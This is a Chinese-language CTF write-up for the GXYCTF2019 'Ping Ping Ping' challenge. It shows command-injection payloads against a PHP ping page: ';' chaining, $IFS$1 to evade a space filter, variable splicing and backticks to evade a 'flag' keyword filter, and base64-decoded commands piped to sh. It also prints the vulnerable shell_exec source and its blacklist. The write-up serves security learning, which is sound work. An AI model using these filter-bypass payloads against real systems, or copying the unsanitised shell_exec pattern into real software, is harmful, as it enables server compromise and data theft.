[GXYCTF2019]Ping Ping Ping 1

发布时间 2023-10-03 22:39:43作者: 圆弧状态

原理

RCE命令执行的多种绕过姿势

解题过程

进入靶场提示要传递参数ip

那就传递一下127.0.0.1,结果正常

试试进行拼接,试了127.0.0.1&&ls或者127.0.0.1&ls都不行,,,直到用;做连接符才可以
payload:127.0.0.1;ls

发现有index.php和flag.php文件,猜测flag应该在flag.php内
接着尝试读取文件内容.127.0.0.1;cat flag.php。不行,发现做了过滤,看看过滤了什么

尝试后发现是过滤了空格,用$IFS$1替换空格后,还是不行,发现过滤了flag。

我们试试读取index.php内容,看能否打印出原代码
payload:127.0.0.1;cat$IFS$1index.php 结果真的打印出了原代码,那就代码审计

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

发现过滤了很多特殊符号,空格,bash,还有按顺序的flag
如何绕过呢。可以尝试变量绕过

payload:127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

查看原代码,爆出flag

还可以使用内联执行来绕过

payload:127.0.0.1;cat$IFS$1`ls`   

这里是将ls命令的执行结果即index.php flag.php都打印出来

还可以使用base64加密绕过

payload:127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

原型是echo cat flag.php|base64 -d|sh
参考文案:https://blog.csdn.net/m0_62422842/article/details/124616206